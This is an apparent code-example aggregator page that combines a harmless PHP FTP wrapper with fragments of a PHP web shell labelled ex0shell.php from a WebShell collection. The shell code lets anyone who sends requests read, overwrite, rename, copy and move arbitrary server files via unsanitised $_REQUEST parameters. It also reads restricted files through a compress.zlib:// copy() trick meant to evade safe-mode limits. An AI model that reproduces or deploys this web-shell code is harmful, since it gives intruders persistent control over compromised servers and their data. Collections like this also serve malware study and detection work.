コード例 #1
0
 /**
  * Facade for ftp_get().
  *
  * @param resource $ftp_stream  The ftp resource.
  * @param string   $local_file  The local file to save to.
  * @param string   $remote_file The remote file to get.
  * @param integer  $mode        The transfer mode.
  * @param integer  $resumepos   The resume position.
  *
  * @return boolean True on success.
  */
 public function get($ftp_stream, $local_file, $remote_file, $mode, $resumepos = 0)
 {
     //@codeCoverageIgnoreStart
     return fget($ftp_stream, $local_file, $remote_file, $mode, $resumepos);
     //@codeCoverageIgnoreEnd
 }
コード例 #2
0
{
    $fp = fopen($_REQUEST['edit'], "w");
    if (is_writable($_REQUEST['edit'])) {
        $nedittxt = stripslashes($_REQUEST['edittxt']);
        fwrite($fp, $nedittxt);
        print "<div><b><center>[ <font color=DeepSkyBlue  >" . basename($_REQUEST['edit']) . "</font> Saved !! ]</center></b></div>";
        fclose($fp);
    } else {
        print "<div><b><center>[ Can't save the file !! ]</center></b></div>";
    }
}
if ($dlink == 'edit' && !isset($_REQUEST['edittxt']) && !isset($_REQUEST['rfile']) && !isset($_REQUEST['cmd']) && !isset($_REQUEST['subqcmnds']) && !isset($_REQUEST['eval'])) {
    fget($nscdir, $sf, $ef);
} elseif (isset($_REQUEST['edittxt'])) {
    svetxt();
    fget($nscdir, $sf, $ef);
} else {
    print "";
}
function owgr($file)
{
    $fileowneruid = fileowner($file);
    $fileownerarray = posix_getpwuid($fileowneruid);
    $fileowner = $fileownerarray['name'];
    $fileg = filegroup($file);
    $groupinfo = posix_getgrgid($fileg);
    $filegg = $groupinfo['name'];
    print "{$fileowner}/{$filegg}";
}
$cpyf = trim($_REQUEST['cpyf']);
$ftcpy = trim($_REQUEST['ftcpy']);
コード例 #3
0
ファイル: ex0shell.php プロジェクト: xl7dev/WebShell
if (rename($nscdir."/".$_REQUEST['ren'],$nscdir."/".$_REQUEST['renf'])){
print"<center><div><b>[ ". $_REQUEST['ren']." is renamed to " .$sfnt.$_REQUEST['renf'].$efnt." successfully ]</center></div></b>";print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Curr-dir </a>]</div>";die();}else{print "<div><b><center>[ Yeniden Adlandirilamiyor ]</div>";
print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Back </a>]</div>";die();}}function fget($nscdir,$sf,$ef){print "<center>";
print "<div><b>[ Editing <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ] [<a href='javascript:history.back()'> Back </a>] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div>";
print $sf."<textarea cols=157 rows=23 name=edittxt>";  
$alltxt= file_get_contents($_REQUEST['edit']);
$nalltxt=htmlspecialchars($alltxt);print $nalltxt;print "</textarea></center>";
if (is_writable($_REQUEST['edit'])){
print "<center><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else {print "<div><b><center>[ Can't edit 
<font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ]</center></b></div><br>";}}function svetxt(){
$fp=fopen ($_REQUEST['edit'],"w");if (is_writable($_REQUEST['edit'])){
$nedittxt=stripslashes($_REQUEST['edittxt']);
fwrite ($fp,$nedittxt);print "<div><b><center>[ <font color=DeepSkyBlue  >".basename($_REQUEST['edit'])."</font> Saved !! ]</center></b></div>";fclose($fp);}else {print "<div><b><center>[ Can't save the file !! ]</center></b></div>";}}
if ($dlink=='edit'&&!isset ($_REQUEST['edittxt'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])&&!isset($_REQUEST['subqcmnds'])&&!isset($_REQUEST['eval']))
{fget($nscdir,$sf,$ef);}elseif (isset ($_REQUEST['edittxt']))
{svetxt();fget($nscdir,$sf,$ef);}else {print "";}function owgr($file){
$fileowneruid=fileowner($file); $fileownerarray=posix_getpwuid($fileowneruid); 
$fileowner=$fileownerarray['name']; $fileg=filegroup($file);
$groupinfo = posix_getgrgid($fileg);$filegg=$groupinfo['name'];
print "$fileowner/$filegg"; }$cpyf=trim($_REQUEST['cpyf']);$ftcpy=trim($_REQUEST['ftcpy']);$cpmv= $cpyf.'/'.$ftcpy;if (isset ($_REQUEST['cpy'])){
if (copy($ftcpy,$cpmv)){$cpmvmess=basename($ftcpy)." copied successfully";}else {$cpmvmess="Can't copy ".basename($ftcpy);}}
elseif(isset($_REQUEST['mve'])){
if (copy($ftcpy,$cpmv)&&unlink ($ftcpy)){$cpmvmess= basename($ftcpy)." moved successfully";}else {$cpmvmess="Can't move ".basename($ftcpy);}
}else {$cpmvmess="COPY / Select a file for copy then paste";}
if (isset ($_REQUEST['safefile'])){
$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
if(empty($_GET['file'])){if(empty($_POST['file'])){
print "<center>[ Please choose a file first to read it using copy() ]</center>";
} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));